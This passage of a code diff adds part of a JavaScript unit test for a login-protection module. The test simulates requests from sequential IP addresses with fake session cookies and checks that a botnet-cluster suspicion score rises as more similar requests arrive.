|
+
const context = {
|
|
2422
|
+
clientIp: `185.15.20.${i}`,
|
|
2423
|
+
path: '/api/login',
|
|
2424
|
+
headers: {
|
|
2425
|
+
...ps4Headers,
|
|
2426
|
+
'cookie_keys': `session_id=fake_sess_${i}` // Élément volatil
|
|
2427
|
+
},
|
|
2428
|
+
cookies: {}, // Pas de cookie device_id partagé pour simuler des terminaux distincts
|
|
2429
|
+
query: {},
|
|
2430
|
+
httpVersion: '2.0',
|
|
2431
|
+
requestTimestamp: Date.now()
|
|
2432
|
+
};
|
|
2433
|
+
|
|
2434
|
+
const vector = await getSuspicionVector(context, { honeypot: {}, patterns: {} });
|
|
2435
|
+
|
|
2436
|
+
if (i === 1) {
|
|
2437
|
+
expect(vector.botnetClusterScore).toBe(0);
|
|
2438
|
+
} else if (i === 2) {
|
|
2439
|
+
expect(vector.botnetClusterScore).toBe(29.5);
|
|
2440
|
+
} else if (i === 3) {
|
|
2441
|
+
expect(vector.botnetClusterScore).toBe(50.3);
|
|
2442
|
+
} else if (i === 4) {
|
|
2443
|
+
expect(vector.botnetClusterScore).toBe(65);
|
|
2444
|
+
} else if (i === 5) {
|
|
2445
|
+
expect(vector.botnetClusterScore).toBe(75.3);
|
|
2446
|
+
} else if (i === 10) {
|
|
2447
|
+
expect(vector.botnetClusterScore).toBe(95.7);
|
|
2448
|
+
}
|
|
2449
|
+
}
|
|
2450
|
+
});
|
|
2451
|
+
});
|